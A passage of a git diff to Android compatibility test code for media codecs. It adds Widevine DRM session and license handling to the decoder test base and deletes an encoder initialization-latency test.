+            long timeToConfigureMs = (configureTimeStamp - baseTimeStamp) / 1000000;
+            return timeToConfigureMs;
+        }
+    }
+}
diff --git a/tests/mediapc/src/android/mediapc/cts/CodecTestBase.java b/tests/mediapc/src/android/mediapc/cts/CodecTestBase.java
index c6a0c60..337b194 100644
--- a/tests/mediapc/src/android/mediapc/cts/CodecTestBase.java
+++ b/tests/mediapc/src/android/mediapc/cts/CodecTestBase.java
@@ -18,6 +18,7 @@
 
 import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface;
 import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible;
+import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
@@ -26,8 +27,12 @@
 import android.media.MediaCodec;
 import android.media.MediaCodecInfo;
 import android.media.MediaCodecList;
+import android.media.MediaCrypto;
+import android.media.MediaDrm;
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
+import android.media.NotProvisionedException;
+import android.media.ResourceBusyException;
 import android.os.Build;
 import android.util.Log;
 import android.util.Pair;
@@ -42,7 +47,11 @@
 import java.io.IOException;
 import java.nio.ByteBuffer;
 import java.util.ArrayList;
+import java.util.HashSet;
 import java.util.LinkedList;
+import java.util.Set;
+import java.util.Map;
+import java.util.UUID;
 import java.util.concurrent.Callable;
 import java.util.concurrent.locks.Condition;
 import java.util.concurrent.locks.Lock;
@@ -178,6 +187,8 @@
     static final int SELECT_ALL = 0; // Select all codecs
     static final int SELECT_HARDWARE = 1; // Select Hardware codecs only
     static final int SELECT_SOFTWARE = 2; // Select Software codecs only
+    static final int SELECT_AUDIO = 3; // Select Audio codecs only
+    static final int SELECT_VIDEO = 4; // Select Video codecs only
     // Maintain Timeouts in sync with their counterpart in NativeMediaCommon.h
     static final long Q_DEQ_TIMEOUT_US = 5000; // block at most 5ms while looking for io buffers
     static final int RETRY_LIMIT = 100; // max poll counter before test aborts and returns error
@@ -203,7 +214,7 @@
     abstract void dequeueOutput(int bufferIndex, MediaCodec.BufferInfo info);
 
     void configureCodec(MediaFormat format, boolean isAsync, boolean signalEOSWithLastFrame,
-            boolean isEncoder) {
+            boolean isEncoder) throws Exception {
         resetContext(isAsync, signalEOSWithLastFrame);
         mAsyncHandle.setCallBack(mCodec, isAsync);
         // signalEOS flag has nothing to do with configure. We are using this flag to try all
@@ -339,12 +350,23 @@
 
     static ArrayList<String> selectHardwareCodecs(String mime, ArrayList<MediaFormat> formats,
             String[] features, boolean isEncoder) {
-        return selectCodecs(mime, formats, features, isEncoder, SELECT_HARDWARE);
+        return selectHardwareCodecs(mime, formats, features, isEncoder, false);
+    }
+
+    static ArrayList<String> selectHardwareCodecs(String mime, ArrayList<MediaFormat> formats,
+            String[] features, boolean isEncoder, boolean allCodecs) {
+        return selectCodecs(mime, formats, features, isEncoder, SELECT_HARDWARE, allCodecs);
     }
 
     static ArrayList<String> selectCodecs(String mime, ArrayList<MediaFormat> formats,
             String[] features, boolean isEncoder, int selectCodecOption) {
-        MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+        return selectCodecs(mime, formats, features, isEncoder, selectCodecOption, false);
+    }
+
+    static ArrayList<String> selectCodecs(String mime, ArrayList<MediaFormat> formats,
+            String[] features, boolean isEncoder, int selectCodecOption, boolean allCodecs) {
+        int kind = allCodecs ? MediaCodecList.ALL_CODECS : MediaCodecList.REGULAR_CODECS;
+        MediaCodecList codecList = new MediaCodecList(kind);
         MediaCodecInfo[] codecInfos = codecList.getCodecInfos();
         ArrayList<String> listOfCodecs = new ArrayList<>();
         for (MediaCodecInfo codecInfo : codecInfos) {
@@ -382,25 +404,61 @@
         }
         return listOfCodecs;
     }
+
+    static Set<String> getMimesOfAvailableCodecs(int codecAV, int codecType) {
+        MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+        MediaCodecInfo[] codecInfos = codecList.getCodecInfos();
+        Set<String> listOfMimes = new HashSet<>();
+        for (MediaCodecInfo codecInfo : codecInfos) {
+            if (codecType == SELECT_HARDWARE && !codecInfo.isHardwareAccelerated()) {
+                continue;
+            }
+            if (codecType == SELECT_SOFTWARE && !codecInfo.isSoftwareOnly()) {
+                continue;
+            }
+            String[] types = codecInfo.getSupportedTypes();
+            for (String type : types) {
+                if (codecAV == SELECT_AUDIO && !type.startsWith("audio/")) {
+                    continue;
+                }
+                if (codecAV == SELECT_VIDEO && !type.startsWith("video/")) {
+                    continue;
+                }
+                listOfMimes.add(type);
+            }
+        }
+        return listOfMimes;
+    }
 }
 
 class CodecDecoderTestBase extends CodecTestBase {
     private static final String LOG_TAG = CodecDecoderTestBase.class.getSimpleName();
+    // Widevine Content Protection Identifier https://dashif.org/identifiers/content_protection/
+    public static final UUID WIDEVINE_UUID = new UUID(0xEDEF8BA979D64ACEL, 0xA3C827DCD51D21EDL);
 
     String mMime;
     String mTestFile;
     boolean mIsInterlaced;
+    boolean mSecureMode;
+    byte[] mSessionID;
 
     ArrayList<ByteBuffer> mCsdBuffers;
 
     MediaExtractor mExtractor;
+    MediaDrm mDrm = null;
+    MediaCrypto mCrypto = null;
 
-    CodecDecoderTestBase(String mime, String testFile) {
+    CodecDecoderTestBase(String mime, String testFile, boolean secureMode) {
         mMime = mime;
         mTestFile = testFile;
         mAsyncHandle = new CodecAsyncHandler();
         mCsdBuffers = new ArrayList<>();
         mIsAudio = mMime.startsWith("audio/");
+        mSecureMode = secureMode;
+    }
+
+    CodecDecoderTestBase(String mime, String testFile) {
+        this(mime, testFile, false);
     }
 
     MediaFormat setUpSource(String srcFile) throws IOException {
@@ -411,6 +469,75 @@
         return format.containsKey("csd-0");
     }
 
+    private byte[] openSession(MediaDrm drm) {
+        byte[] sessionId = null;
+        int retryCount = 3;
+        while (retryCount-- > 0) {
+            try {
+                sessionId = drm.openSession();
+                break;
+            } catch (NotProvisionedException eNotProvisioned) {
+                Log.i(LOG_TAG, "Missing certificate, provisioning");
+                try {
+                    final ProvisionRequester provisionRequester = new ProvisionRequester(drm);
+                    provisionRequester.send();
+                } catch (Exception e) {
+                    Log.e(LOG_TAG, "Provisioning fails because " + e.toString());
+                }
+            } catch (ResourceBusyException eResourceBusy) {
+                Log.w(LOG_TAG, "Resource busy in openSession, retrying...");
+                try {
+                    Thread.sleep(1000);
+                } catch (Exception ignored) {
+                }
+            }
+        }
+        return sessionId;
+    }
+
+    void configureCodec(MediaFormat format, boolean isAsync, boolean signalEOSWithLastFrame,
+            boolean isEncoder, String serverURL) throws Exception {
+        resetContext(isAsync, signalEOSWithLastFrame);
+        mAsyncHandle.setCallBack(mCodec, isAsync);
+        if (mSecureMode && serverURL != null) {
+            if (mDrm == null) {
+                mDrm = new MediaDrm(WIDEVINE_UUID);
+            }
+            if (mCrypto == null) {
+                mSessionID = openSession(mDrm);
+                assertNotNull("Failed to provision device.", mSessionID);
+                mCrypto = new MediaCrypto(WIDEVINE_UUID, mSessionID);
+            }
+            mCodec.configure(format, mSurface, mCrypto,
+                    isEncoder ? MediaCodec.CONFIGURE_FLAG_ENCODE : 0);
+
+            Map<UUID, byte[]> psshInfo = mExtractor.getPsshInfo();
+            assertNotNull("Extractor is missing pssh info", psshInfo);
+            byte[] emeInitData = psshInfo.get(WIDEVINE_UUID);
+            assertNotNull("Extractor pssh info is missing data for scheme: " + WIDEVINE_UUID,
+                    emeInitData);
+            KeyRequester requester =
+                    new KeyRequester(mDrm, mSessionID, MediaDrm.KEY_TYPE_STREAMING, mMime,
+                            emeInitData, serverURL, WIDEVINE_UUID);
+            requester.send();
+            return;
+        }
+        // signalEOS flag has nothing to do with configure. We are using this flag to try all
+        // available configure apis
+        if (signalEOSWithLastFrame) {
+            mCodec.configure(format, mSurface, null,
+                    isEncoder ? MediaCodec.CONFIGURE_FLAG_ENCODE : 0);
+        } else {
+            mCodec.configure(format, mSurface, isEncoder ? MediaCodec.CONFIGURE_FLAG_ENCODE : 0,
+                    null);
+        }
+    }
+
+    void configureCodec(MediaFormat format, boolean isAsync, boolean signalEOSWithLastFrame,
+            boolean isEncoder) throws Exception {
+        configureCodec(format, isAsync, signalEOSWithLastFrame, isEncoder, null);
+    }
+
     MediaFormat setUpSource(String prefix, String srcFile) throws IOException {
         mExtractor = new MediaExtractor();
         mExtractor.setDataSource(prefix + srcFile);
@@ -447,11 +574,17 @@
             if ((extractorFlags & MediaExtractor.SAMPLE_FLAG_SYNC) != 0) {
                 codecFlags |= MediaCodec.BUFFER_FLAG_KEY_FRAME;
             }
+            MediaCodec.CryptoInfo info = new MediaCodec.CryptoInfo();
+            boolean isEncrypted = mExtractor.getSampleCryptoInfo(info);
             if (!mExtractor.advance() && mSignalEOSWithLastFrame) {
                 codecFlags |= MediaCodec.BUFFER_FLAG_END_OF_STREAM;
                 mSawInputEOS = true;
             }
-            mCodec.queueInputBuffer(bufferIndex, 0, size, pts, codecFlags);
+            if (mSecureMode && isEncrypted) {
+                mCodec.queueSecureInputBuffer(bufferIndex, 0, info, pts, codecFlags);
+            } else {
+                mCodec.queueInputBuffer(bufferIndex, 0, size, pts, codecFlags);
+            }
             if (size > 0 && (codecFlags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) {
                 mInputCount++;
             }
@@ -669,20 +802,30 @@
     private static final String LOG_TAG = Decode.class.getSimpleName();
 
     final String mDecoderName;
+    static final String WIDEVINE_LICENSE_SERVER_URL = "https://proxy.uat.widevine.com/proxy";
+    static final String PROVIDER = "widevine_test";
+    final String mServerURL =
+            String.format("%s?video_id=%s&provider=%s", WIDEVINE_LICENSE_SERVER_URL,
+                    "GTS_HW_SECURE_ALL", PROVIDER);
     final boolean mIsAsync;
 
     Decode(String mime, String testFile, String decoderName, boolean isAsync) {
+        this(mime, testFile,decoderName, isAsync, false);
+    }
+
+    Decode(String mime, String testFile, String decoderName, boolean isAsync, boolean secureMode) {
         super(mime, testFile);
         mDecoderName = decoderName;
         mSurface = MediaCodec.createPersistentInputSurface();
         mIsAsync = isAsync;
+        mSecureMode = secureMode;
     }
 
     public Double doDecode() throws Exception {
         MediaFormat format = setUpSource(mTestFile);
         mCodec = MediaCodec.createByCodecName(mDecoderName);
         mExtractor.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
-        configureCodec(format, mIsAsync, false, false);
+        configureCodec(format, mIsAsync, false, false, mServerURL);
         mCodec.start();
         long start = System.currentTimeMillis();
         doWork(Integer.MAX_VALUE);
@@ -692,6 +835,12 @@
         mCodec.stop();
         mCodec.release();
         mExtractor.release();
+        if (mCrypto != null) {
+            mCrypto.release();
+        }
+        if (mDrm != null) {
+            mDrm.close();
+        }
         double fps = mOutputCount / ((end - start) / 1000.0);
         Log.d(LOG_TAG, "Decode Mime: " + mMime + " Decoder: " + mDecoderName +
                 " Achieved fps: " + fps);
diff --git a/tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java b/tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java
deleted file mode 100644
index ae09b14..0000000
--- a/tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java
+++ /dev/null
@@ -1,507 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.mediapc.cts;
-
-import static android.mediapc.cts.CodecTestBase.selectCodecs;
-import static android.mediapc.cts.CodecTestBase.selectHardwareCodecs;
-
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assume.assumeFalse;
-import static org.junit.Assume.assumeTrue;
-
-import android.app.Instrumentation;
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.media.MediaCodec;
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecList;
-import android.media.MediaFormat;
-import android.media.MediaRecorder;
-import android.mediapc.cts.common.Utils;
-import android.os.Build;
-import android.util.Log;
-import android.util.Pair;
-import android.view.Surface;
-
-import androidx.test.filters.LargeTest;
-import androidx.test.platform.app.InstrumentationRegistry;
-import androidx.test.rule.ActivityTestRule;
-
-import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-
-import java.io.File;
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collection;
-import java.util.List;
-
-/**
- * The following test class validates the codec initialization latency (time for codec create +
- * configure) for the audio encoders and hardware video encoders available in the device, under the
- * load condition (Transcode + MediaRecorder session Audio(Microphone) and 1080p Video(Camera)).
- */
-@RunWith(Parameterized.class)
-public class EncoderInitializationLatencyTest {
-    private static final String LOG_TAG = EncoderInitializationLatencyTest.class.getSimpleName();
-    private static final boolean[] boolStates = {false, true};
-    private static final int MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_R_MS = 50;
-    private static final int MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_R_MS = 65;
-    private static final int MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_S_MS = 40;
-    private static final int MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_S_MS = 50;
-    private static final int MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_T_MS = 30;
-    private static final int MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_T_MS = 40;
-
-    private static final int MAX_AUDIOENC_INITIALIZATION_LATENCY_MS;
-    private static final int MAX_VIDEOENC_INITIALIZATION_LATENCY_MS;
-    private static final String AVC = MediaFormat.MIMETYPE_VIDEO_AVC;
-    private static final String HEVC = MediaFormat.MIMETYPE_VIDEO_HEVC;
-    private static final String AVC_TRANSCODE_FILE = "bbb_1280x720_3mbps_30fps_avc.mp4";
-    private static String AVC_DECODER_NAME;
-    private static String AVC_ENCODER_NAME;
-
-    static {
-        if (Utils.isRPerfClass()) {
-            MAX_AUDIOENC_INITIALIZATION_LATENCY_MS = MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_R_MS;
-            MAX_VIDEOENC_INITIALIZATION_LATENCY_MS = MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_R_MS;
-        } else if (Utils.isSPerfClass()) {
-            MAX_AUDIOENC_INITIALIZATION_LATENCY_MS = MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_S_MS;
-            MAX_VIDEOENC_INITIALIZATION_LATENCY_MS = MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_S_MS;
-        } else {
-            // Performance class Build.VERSION_CODES.TIRAMISU and beyond
-            MAX_AUDIOENC_INITIALIZATION_LATENCY_MS = MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_T_MS;
-            MAX_VIDEOENC_INITIALIZATION_LATENCY_MS = MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_T_MS;
-        }
-    }
-
-    private final String mMime;
-    private final String mEncoderName;
-
-    private LoadStatus mTranscodeLoadStatus = null;
-    private Thread mTranscodeLoadThread = null;
-    private MediaRecorder mMediaRecorderLoad = null;
-    private File mTempRecordedFile = null;
-    private Surface mSurface = null;
-    private Exception mException = null;
-
-    @Before
-    public void setUp() throws Exception {
-        Utils.assumeDeviceMeetsPerformanceClassPreconditions();
-
-        ArrayList<String> listOfAvcHwDecoders = selectHardwareCodecs(AVC, null, null, false);
-        assumeFalse("Test requires h/w avc decoder", listOfAvcHwDecoders.isEmpty());
-        AVC_DECODER_NAME = listOfAvcHwDecoders.get(0);
-
-        ArrayList<String> listOfAvcHwEncoders = selectHardwareCodecs(AVC, null, null, true);
-        assumeFalse("Test requires h/w avc encoder", listOfAvcHwEncoders.isEmpty());
-        AVC_ENCODER_NAME = listOfAvcHwEncoders.get(0);
-
-        Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
-        Context context = instrumentation.getTargetContext();
-        PackageManager packageManager = context.getPackageManager();
-        assertNotNull(packageManager.getSystemAvailableFeatures());
-        assumeTrue("The device doesn't have a camera",
-                packageManager.hasSystemFeature(PackageManager.FEATURE_CAMERA_ANY));
-        assumeTrue("The device doesn't have a microphone",
-                packageManager.hasSystemFeature(PackageManager.FEATURE_MICROPHONE));
-        createSurface();
-        startLoad();
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        stopLoad();
-        releaseSurface();
-    }
-
-    public EncoderInitializationLatencyTest(String mimeType, String encoderName) {
-        mMime = mimeType;
-        mEncoderName = encoderName;
-    }
-
-    @Rule
-    public ActivityTestRule<TestActivity> mActivityRule =
-            new ActivityTestRule<>(TestActivity.class);
-
-    // Returns the list of all available hardware video encoders in the device.
-    static ArrayList<String> getMimesOfAvailableHardwareVideoEncoders() {
-        MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-        MediaCodecInfo[] codecInfos = codecList.getCodecInfos();
-        ArrayList<String> listOfMimes = new ArrayList<>();
-        for (MediaCodecInfo codecInfo : codecInfos) {
-            if (!codecInfo.isEncoder() || !codecInfo.isHardwareAccelerated()) continue;
-            String[] types = codecInfo.getSupportedTypes();
-            for (String type : types) {
-                if (type.startsWith("video/") && !listOfMimes.contains(type)) {
-                    listOfMimes.add(type);
-                }
-            }
-        }
-        return listOfMimes;
-    }
-
-    // Returns the list of all available audio encoders in the device.
-    static ArrayList<String> getMimesOfAvailableAudioEncoders() {
-        MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-        MediaCodecInfo[] codecInfos = codecList.getCodecInfos();
-        ArrayList<String> listOfMimes = new ArrayList<>();
-        for (MediaCodecInfo codecInfo : codecInfos) {
-            if (!codecInfo.isEncoder()) continue;
-            String[] types = codecInfo.getSupportedTypes();
-            for (String type : types) {
-                if (type.startsWith("audio/") && !listOfMimes.contains(type)) {
-                    listOfMimes.add(type);
-                }
-            }
-        }
-        return listOfMimes;
-    }
-
-    // Returns the list of parameters with mimetype and their encoder(for audio - all encoders,
-    // video - hardware encoders).
-    // Parameters {0}_{1} -- Mime_EncoderName
-    @Parameterized.Parameters(name = "{index}({0}_{1})")
-    public static Collection<Object[]> inputParams() {
-        // Prepares the params list with the required Hardware video encoders and all available
-        // audio encoders present in the device.
-        final List<Object[]> argsList = new ArrayList<>();
-        ArrayList<String> mimesList = getMimesOfAvailableHardwareVideoEncoders();
-        mimesList.addAll(getMimesOfAvailableAudioEncoders());
-        for (String mime : mimesList) {
-            ArrayList<String> listOfEncoders;
-            if (mime.startsWith("audio/")) {
-                listOfEncoders = selectCodecs(mime, null, null, true);
-            } else {
-                listOfEncoders = selectHardwareCodecs(mime, null, null, true);
-            }
-            for (String encoder : listOfEncoders) {
-                argsList.add(new Object[]{mime, encoder});
-            }
-        }
-        return argsList;
-    }
-
-    private MediaRecorder createMediaRecorderLoad(Surface surface) throws Exception {
-        MediaRecorder mediaRecorder = new MediaRecorder(InstrumentationRegistry.getInstrumentation()
-                .getContext());
-        mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
-        mediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
-        mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
-        mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
-        mediaRecorder.setVideoEncoder(mMime.equalsIgnoreCase(HEVC) ?
-                MediaRecorder.VideoEncoder.HEVC : MediaRecorder.VideoEncoder.H264);
-        mediaRecorder.setOutputFile(mTempRecordedFile);
-        mediaRecorder.setVideoSize(1920, 1080);
-        mediaRecorder.setOrientationHint(0);
-        mediaRecorder.setPreviewDisplay(surface);
-        mediaRecorder.prepare();
-        return mediaRecorder;
-    }
-
-    private void startLoad() throws Exception {
-        // TODO: b/183671436
-        // Create Transcode load (AVC Decoder(720p) + AVC Encoder(720p))
-        mTranscodeLoadStatus = new LoadStatus();
-        mTranscodeLoadThread = new Thread(() -> {
-            try {
-                TranscodeLoad transcodeLoad = new TranscodeLoad(AVC, AVC_TRANSCODE_FILE,
-                        AVC_DECODER_NAME, AVC_ENCODER_NAME, mTranscodeLoadStatus);
-                transcodeLoad.doTranscode();
-            } catch (Exception e) {
-                mException = e;
-            }
-        });
-        // Create MediaRecorder Session - Audio (Microphone) + 1080p Video (Camera)
-        // Create a temp file to dump the MediaRecorder output. Later it will be deleted.
-        mTempRecordedFile = new File(WorkDir.getMediaDirString() + "tempOut.mp4");
-        mTempRecordedFile.createNewFile();
-        mMediaRecorderLoad = createMediaRecorderLoad(mSurface);
-        // Start the Loads
-        mTranscodeLoadThread.start();
-        mMediaRecorderLoad.start();
-    }
-
-    private void stopLoad() throws Exception {
-        if (mTranscodeLoadStatus != null) {
-            mTranscodeLoadStatus.setLoadFinished();
-            mTranscodeLoadStatus = null;
-        }
-        if (mTranscodeLoadThread != null) {
-            mTranscodeLoadThread.join();
-            mTranscodeLoadThread = null;
-        }
-        if (mMediaRecorderLoad != null) {
-            // Note that a RuntimeException is intentionally thrown to the application, if no valid
-            // audio/video data has been received when stop() is called. This happens if stop() is
-            // called immediately after start(). So sleep for 1000ms inorder to make sure some
-            // data has been received between start() and stop().
-            Thread.sleep(1000);
-            mMediaRecorderLoad.stop();
-            mMediaRecorderLoad.release();
-            mMediaRecorderLoad = null;
-            if (mTempRecordedFile != null && mTempRecordedFile.exists()) {
-                mTempRecordedFile.delete();
-                mTempRecordedFile = null;
-            }
-        }
-        if (mException != null) throw mException;
-    }
-
-    private void createSurface() throws InterruptedException {
-        mActivityRule.getActivity().waitTillSurfaceIsCreated();
-        mSurface = mActivityRule.getActivity().getSurface();
-        assertTrue("Surface created is null.", mSurface != null);
-        assertTrue("Surface created is invalid.", mSurface.isValid());
-        mActivityRule.getActivity().setScreenParams(1920, 1080, true);
-    }
-
-    private void releaseSurface() {
-        if (mSurface != null) {
-            mSurface.release();
-            mSurface = null;
-        }
-    }
-
-    /**
-     * This test validates that the initialization latency(time for codec create + configure)
-     * for the audio encoders <= 30ms and for video encoders <= 40ms measuring 10 times in
-     * succession(5 times alternating sync and async modes). This also logs the stats min, max, avg
-     * of the encoder initialization latencies.
-     */
-    @LargeTest
-    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
-    @CddTest(requirement = "2.2.7.1/5.1/H-1-7,H-1-8")
-    public void testInitializationLatency() throws Exception {
-        final int NUM_MEASUREMENTS = 5;
-        // Test gathers initialization latency for a number of iterations and
-        // percentile is a variable used to control how many of these iterations
-        // need to meet the pass criteria. For NUM_MEASUREMENTS at 5, sync and Async
-        // modes which is a total of 10 iterations, this translates to index 7.
-        final int percentile = 70;
-        long expectedMaxCodecInitializationLatencyMs = mMime.startsWith("audio/") ?
-                MAX_AUDIOENC_INITIALIZATION_LATENCY_MS : MAX_VIDEOENC_INITIALIZATION_LATENCY_MS;
-        long sumOfEncoderInitializationLatencyMs = 0;
-        int count = 0;
-        long[] encoderInitializationLatencyMs = new long[NUM_MEASUREMENTS * boolStates.length];
-        for (int i = 0; i < NUM_MEASUREMENTS; i++) {
-            for (boolean isAsync : boolStates) {
-                EncoderInitializationLatency encoderInitializationLatency =
-                        new EncoderInitializationLatency(mMime, mEncoderName, isAsync);
-                long latency = encoderInitializationLatency.calculateEncoderInitializationLatency();
-                encoderInitializationLatencyMs[count] = latency;
-                sumOfEncoderInitializationLatencyMs += latency;
-                count++;
-            }
-        }
-        Arrays.sort(encoderInitializationLatencyMs);
-
-        String statsLog = String.format("CodecInitialization latency for mime: %s, " +
-                "Encoder: %s, in Ms :: ", mMime, mEncoderName);
-        Log.i(LOG_TAG, "Min " + statsLog + encoderInitializationLatencyMs[0]);
-        Log.i(LOG_TAG, "Max " + statsLog + encoderInitializationLatencyMs[count - 1]);
-        Log.i(LOG_TAG, "Avg " + statsLog + (sumOfEncoderInitializationLatencyMs / count));
-        long initializationLatency = encoderInitializationLatencyMs[percentile * count / 100];
-        if (Utils.isPerfClass()) {
-            String errorLog = String.format(
-                    "CodecInitialization latency for mime: %s, Encoder: %s is not as expected. "
-                            + "act/exp in Ms :: %d/%d", mMime, mEncoderName, initializationLatency,
-                    expectedMaxCodecInitializationLatencyMs);
-            assertTrue(errorLog, initializationLatency <= expectedMaxCodecInitializationLatencyMs);
-        } else {
-            int pc;
-            if (mMime.startsWith("audio/")) {
-                pc = initializationLatency < MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_T_MS ?
-                        Build.VERSION_CODES.TIRAMISU :
-                        initializationLatency < MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_S_MS ?
-                                Build.VERSION_CODES.S : initializationLatency <
-                                MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_R_MS ?
-                                Build.VERSION_CODES.R : 0;
-            } else {
-                pc = initializationLatency < MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_T_MS ?
-                        Build.VERSION_CODES.TIRAMISU :
-                        initializationLatency < MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_S_MS ?
-                                Build.VERSION_CODES.S : initializationLatency <
-                                MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_R_MS ?
-                                Build.VERSION_CODES.R : 0;
-            }
-            DeviceReportLog log = new DeviceReportLog("MediaPerformanceClassLogs",
-                    "InitializationLatency_" + mEncoderName);
-            log.addValue("encoder", mEncoderName, ResultType.NEUTRAL, ResultUnit.NONE);
-            log.addValue("initialization_latency", initializationLatency, ResultType.LOWER_BETTER,
-                    ResultUnit.NONE);
-            log.setSummary("CDD 2.2.7.1/5.1/H-1-7,H-1-8 performance_class", pc, ResultType.NEUTRAL,
-                    ResultUnit.NONE);
-            log.submit(InstrumentationRegistry.getInstrumentation());
-        }
-    }
-}
-
-/**
- * The following class calculates the encoder initialization latency (time for codec create +
- * configure). And also logs the time taken by the encoder for:
- * (create + configure + start),
- * (create + configure + start + first frame to enqueue),
- * (create + configure + start + first frame to dequeue).
- */
-class EncoderInitializationLatency extends CodecEncoderTestBase {
-    private static final String LOG_TAG = EncoderInitializationLatency.class.getSimpleName();
-
-    private final String mEncoderName;
-    private final boolean mIsAsync;
-
-    EncoderInitializationLatency(String mime, String encoderName, boolean isAsync) {
-        super(mime);
-        mEncoderName = encoderName;
-        mIsAsync = isAsync;
-        mSampleRate = 8000;
-        mFrameRate = 60;
-    }
-
-    private MediaFormat setUpFormat() throws IOException {
-        MediaFormat format = new MediaFormat();
-        format.setString(MediaFormat.KEY_MIME, mMime);
-        if (mIsAudio) {
-            if (mMime.equals(MediaFormat.MIMETYPE_AUDIO_FLAC)) {
-                format.setInteger(MediaFormat.KEY_FLAC_COMPRESSION_LEVEL, 10000);
-            } else {
-                format.setInteger(MediaFormat.KEY_BIT_RATE, 128000);
-            }
-            format.setInteger(MediaFormat.KEY_SAMPLE_RATE, mSampleRate);
-            format.setInteger(MediaFormat.KEY_CHANNEL_COUNT, 1);
-        } else {
-            MediaCodec codec = MediaCodec.createByCodecName(mEncoderName);
-            MediaCodecInfo.CodecCapabilities codecCapabilities =
-                    codec.getCodecInfo().getCapabilitiesForType(mMime);
-            if (codecCapabilities.getVideoCapabilities().isSizeSupported(1920, 1080)) {
-                format.setInteger(MediaFormat.KEY_WIDTH, 1920);
-                format.setInteger(MediaFormat.KEY_HEIGHT, 1080);
-                format.setInteger(MediaFormat.KEY_BIT_RATE, 8000000);
-            } else if (codecCapabilities.getVideoCapabilities().isSizeSupported(1280, 720)) {
-                format.setInteger(MediaFormat.KEY_WIDTH, 1280);
-                format.setInteger(MediaFormat.KEY_HEIGHT, 720);
-                format.setInteger(MediaFormat.KEY_BIT_RATE, 5000000);
-            } else if (codecCapabilities.getVideoCapabilities().isSizeSupported(640, 480)) {
-                format.setInteger(MediaFormat.KEY_WIDTH, 640);
-                format.setInteger(MediaFormat.KEY_HEIGHT, 480);
-                format.setInteger(MediaFormat.KEY_BIT_RATE, 2000000);
-            } else if (codecCapabilities.getVideoCapabilities().isSizeSupported(352, 288)) {
-                format.setInteger(MediaFormat.KEY_WIDTH, 352);
-                format.setInteger(MediaFormat.KEY_HEIGHT, 288);
-                format.setInteger(MediaFormat.KEY_BIT_RATE, 512000);
-            } else {
-                format.setInteger(MediaFormat.KEY_WIDTH, 176);
-                format.setInteger(MediaFormat.KEY_HEIGHT, 144);
-                format.setInteger(MediaFormat.KEY_BIT_RATE, 128000);
-            }
-            codec.release();
-            format.setInteger(MediaFormat.KEY_FRAME_RATE, mFrameRate);
-            format.setFloat(MediaFormat.KEY_I_FRAME_INTERVAL, 1.0f);
-            format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
-                    MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible);
-        }
-        return format;
-    }
-
-    public long calculateEncoderInitializationLatency() throws Exception {
-        MediaFormat format = setUpFormat();
-        if (mIsAudio) {
-            mSampleRate = format.getInteger(MediaFormat.KEY_SAMPLE_RATE);
-            mChannels = format.getInteger(MediaFormat.KEY_CHANNEL_COUNT);
-        } else {
-            mWidth = format.getInteger(MediaFormat.KEY_WIDTH);
-            mHeight = format.getInteger(MediaFormat.KEY_HEIGHT);
-        }
-        setUpSource(mInputFile);
-        MediaCodec.BufferInfo outInfo = new MediaCodec.BufferInfo();
-        long enqueueTimeStamp = 0;
-        long dequeueTimeStamp = 0;
-        long baseTimeStamp = System.nanoTime();
-        mCodec = MediaCodec.createByCodecName(mEncoderName);
